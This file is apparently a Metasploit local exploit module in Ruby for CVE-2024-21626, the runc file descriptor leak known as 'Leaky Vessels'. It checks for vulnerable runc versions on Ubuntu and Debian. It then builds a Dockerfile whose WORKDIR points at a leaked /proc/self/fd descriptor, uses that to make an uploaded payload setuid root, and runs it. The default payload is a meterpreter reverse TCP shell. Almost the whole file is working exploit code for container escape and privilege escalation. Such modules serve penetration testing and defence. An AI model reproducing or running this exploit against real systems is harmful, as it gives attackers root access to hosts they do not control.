208 lines
8.7 KiB
Ruby
208 lines
8.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Post::Linux::System
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation',
|
|
'Description' => %q{
|
|
All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,
|
|
and Kubernetes are vulnerable to an arbitrary file write.
|
|
Due to a file descriptor leak it is possible to mount the host file system
|
|
with the permissions of runc (typically root).
|
|
|
|
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.
|
|
Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'SickMcNugget', # Check method enhancements
|
|
'jheysel-r7', # Check method enhancements
|
|
'Rory McNamara' # Discovery
|
|
],
|
|
'Platform' => [ 'linux' ],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'Privileged' => true,
|
|
'References' => [
|
|
[ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'],
|
|
[ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'],
|
|
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2024-21626'],
|
|
[ 'URL', 'https://ubuntu.com/security/CVE-2024-21626'],
|
|
[ 'CVE', '2024-21626']
|
|
],
|
|
'DisclosureDate' => '2024-01-31',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'AKA' => ['Leaky Vessels'],
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK]
|
|
},
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'thread',
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
|
'MeterpreterTryToFork' => true
|
|
}
|
|
)
|
|
)
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
|
|
OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]),
|
|
OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 7 ]),
|
|
]
|
|
end
|
|
|
|
def base_dir
|
|
datastore['WritableDir'].to_s
|
|
end
|
|
|
|
def check
|
|
sys_info = get_sysinfo
|
|
|
|
# Make sure both docker and runc are present
|
|
unless command_exists?('runc')
|
|
return CheckCode::Safe('The runc command was not found on this system')
|
|
end
|
|
|
|
unless command_exists?('docker')
|
|
return CheckCode::Safe('The docker command was not found on this system')
|
|
end
|
|
|
|
minimum_version = '1.0.0'
|
|
version_info = cmd_exec('runc --version')
|
|
|
|
case sys_info[:distro]
|
|
when 'ubuntu'
|
|
version_info =~ /runc version\s+(\d+\S*)/
|
|
unfiltered_version = Regexp.last_match(1)
|
|
|
|
# https://ubuntu.com/security/CVE-2024-21626
|
|
if sys_info[:version].include? '23.10' # mantic
|
|
fixed_version = '1.1.7-0ubuntu2.2'
|
|
elsif sys_info[:version].include? '23.04' # lunar
|
|
fixed_version = '1.1.7-0ubuntu1'
|
|
elsif sys_info[:version].include? '22.10' # kinetic
|
|
fixed_version = '1.1.7-0ubuntu1'
|
|
elsif sys_info[:version].include? '22.04' # jammy
|
|
fixed_version = '1.1.7-0ubuntu1~22.04.2'
|
|
elsif sys_info[:version].include? '20.04' # focal
|
|
fixed_version = '1.1.7-0ubuntu1~20.04.2'
|
|
elsif sys_info[:version].include? '18.04' # bionic
|
|
fixed_version = '1.1.4-0ubuntu1~18.04.2+esm1'
|
|
elsif sys_info[:version].include? '16.04' # xenial
|
|
return CheckCode::Safe('Ubuntu version not affected')
|
|
elsif sys_info[:version].include? '14.04' # trusty
|
|
return CheckCode::Detected('Patch for this Ubuntu version was ignored. (end of standard support)')
|
|
else
|
|
fixed_version = '1.1.12'
|
|
end
|
|
# Replace any "+esm", "ubuntu", "~" or "-" with a "."
|
|
fixed_version = fixed_version.gsub(/\+[a-zA-Z]+/, '.').gsub(/ubuntu/, '.').gsub(/-/, '.').gsub(/~/, '.')
|
|
runc_version = unfiltered_version.gsub(/\+[a-zA-Z]+/, '.').gsub(/ubuntu/, '.').gsub(/-/, '.').gsub(/~/, '.')
|
|
when 'debian'
|
|
|
|
# The command runc --version returns a number of different fields, ex:
|
|
# "runc version 1.1.5+ds1\ncommit: 1.1.5+ds1-1+deb12u1\nspec: 1.0.2-dev\ngo: go1.19.8\nlibseccomp: 2.5.4"
|
|
#
|
|
# For Debian the 'version' field doesn't always provide enough accuracy (particularly for Buster) to determine
|
|
# whether or not the version is vulnerable which is why we extract the 'commit' field as it provides more detail.
|
|
|
|
version_info =~ /commit:\s+(\d+\S*)/
|
|
unfiltered_version = Regexp.last_match(1)
|
|
|
|
# https://security-tracker.debian.org/tracker/CVE-2024-21626
|
|
if sys_info[:version].include? '13' # Trixie (unstable at time of writing 2024-02-28)
|
|
fixed_version = '1.1.12+ds1-1'
|
|
elsif sys_info[:version].include? '12' # Bookworm
|
|
fixed_version = '1.1.5+ds1-1+deb12u1'
|
|
elsif sys_info[:version].include? '11' # Bullseye
|
|
fixed_version = '1.0.0~rc93+ds1-5+deb11u3'
|
|
elsif sys_info[:version].include? '10' # Buster
|
|
fixed_version = '1.0.0~rc6+dfsg1-3+deb10u3'
|
|
else
|
|
fixed_version = '1.1.12'
|
|
end
|
|
# Replace any "+deb", "+ds", "~rc", "u" or "-" with a "."
|
|
fixed_version = fixed_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.')
|
|
runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.')
|
|
else
|
|
return CheckCode::Safe('Check method only available for Debian/Ubuntu systems')
|
|
end
|
|
|
|
if Rex::Version.new(runc_version) < Rex::Version.new(fixed_version) && Rex::Version.new(runc_version) >= Rex::Version.new(minimum_version)
|
|
return CheckCode::Appears("Version of runc detected appears to be vulnerable: #{unfiltered_version}.")
|
|
end
|
|
|
|
CheckCode::Safe("runc version #{unfiltered_version} is not vulnerable.")
|
|
end
|
|
|
|
def exploit
|
|
# Check if we're already root
|
|
if !datastore['ForceExploit'] && is_root?
|
|
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override')
|
|
end
|
|
|
|
# Make sure we can write our exploit and payload to the local system
|
|
unless writable?(base_dir)
|
|
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
|
|
end
|
|
|
|
# create directory to write all our files to
|
|
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
|
mkdir(dir)
|
|
register_dirs_for_cleanup(dir)
|
|
|
|
# Upload payload executable
|
|
payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"
|
|
vprint_status("Uploading Payload to #{payload_path}")
|
|
write_file(payload_path, generate_payload_exe)
|
|
register_file_for_cleanup(payload_path)
|
|
|
|
# write docker file
|
|
vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")
|
|
dockerfile = %(FROM #{datastore['DOCKERIMAGE']}
|
|
WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}
|
|
RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )
|
|
write_file("#{dir}/Dockerfile", dockerfile)
|
|
register_file_for_cleanup("#{dir}/Dockerfile")
|
|
|
|
print_status('Building from Dockerfile to set our payload permissions')
|
|
output = cmd_exec("cd #{dir} && docker build .")
|
|
output.each_line { |line| vprint_status line.chomp }
|
|
|
|
# delete our docker image (second test created for docker v25.0.3)
|
|
if output =~ /Successfully built ([a-z0-9]+)$/ || output =~ /writing image sha256:([a-z0-9]+) done$/
|
|
print_status("Removing created docker image #{Regexp.last_match(1)}")
|
|
output = cmd_exec("docker image rm #{Regexp.last_match(1)}")
|
|
output.each_line { |line| vprint_status line.chomp }
|
|
elsif output.include?("mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory")
|
|
fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.")
|
|
else
|
|
fail_with(Failure::NoAccess, 'Failed to build docker container. The user may not have docker permissions')
|
|
end
|
|
|
|
unless setuid?(payload_path)
|
|
fail_with(Failure::NoAccess, 'Payload SUID bit not set')
|
|
end
|
|
|
|
print_status("Payload permissions set, executing payload (#{payload_path})...")
|
|
cmd_exec "#{payload_path} &"
|
|
end
|
|
end
|